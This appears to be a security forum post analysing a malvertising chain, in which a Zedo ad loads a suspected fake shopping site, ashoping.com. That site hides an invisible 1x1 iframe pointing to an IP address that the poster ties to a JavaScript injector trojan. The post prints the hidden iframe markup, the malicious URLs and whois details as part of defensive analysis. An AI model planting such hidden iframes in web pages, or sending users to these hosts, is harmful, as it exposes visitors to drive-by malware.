CODE
<iframe height="90" frameborder="0" width="728" scrolling="no" allowtransparency="true" marginwidth="0" marginheight="0" src="http://d3.zedo.com/jsc/d3/ff2.html?n=790;c=338/1;s=296;d=14;w=728;h=90">
(example publisher website: valeptr.com/pages/ptp.php)
As often happens with Zedo, this ad being served is not a graphic banner but a full webpage.
Skipping codes, it's loading this site in that iframe:
CODE
<iframe height="100%" frameborder="0" width="100%" scrolling="yes" src="http://ashoping.com/?sid=aff0035">
That site is hotlinking images from another site, so this seems to be a copy/fake job (images are hotlinked from a site called Netpaidshopping.com, I believe this is the genuine site.)
Below the </html> on ashoping.com there is an invisible iframe:
CODE
<iframe height="1" width="1" src="http://85.12.43.126/css/index.php?sid=6a5b6a5362576f5d6f5e630a7a157d0e6f52665e6a52645559" style="outline-color: -moz-use-text-color; outline-style: none; outline-width: medium;">
That IP address is also the server that ashoping.com is located on according to whois details
QUOTE
IP Address: 85.12.43.124 Whois | Reverse-IP | Ping | DNS Lookup | Traceroute
IP Location Netherlands - Netherlands - Xentronix
Domain servers in listed order:
NS1.ASHOPING.COM 193.33.61.161
NS2.ASHOPING.COM 85.12.43.119
Created: 2008-10-13
IP Location Netherlands - Netherlands - Xentronix
Domain servers in listed order:
NS1.ASHOPING.COM 193.33.61.161
NS2.ASHOPING.COM 85.12.43.119
Created: 2008-10-13
The page in the iframe is giving SID timeout response, but searching google it appears that the IP has a history of malware [url=http://www.bitdefender.com/VIRUS-1000421-en--Trojan.JS.Injector.E.htmlTrojan.JS.Injector[/url]
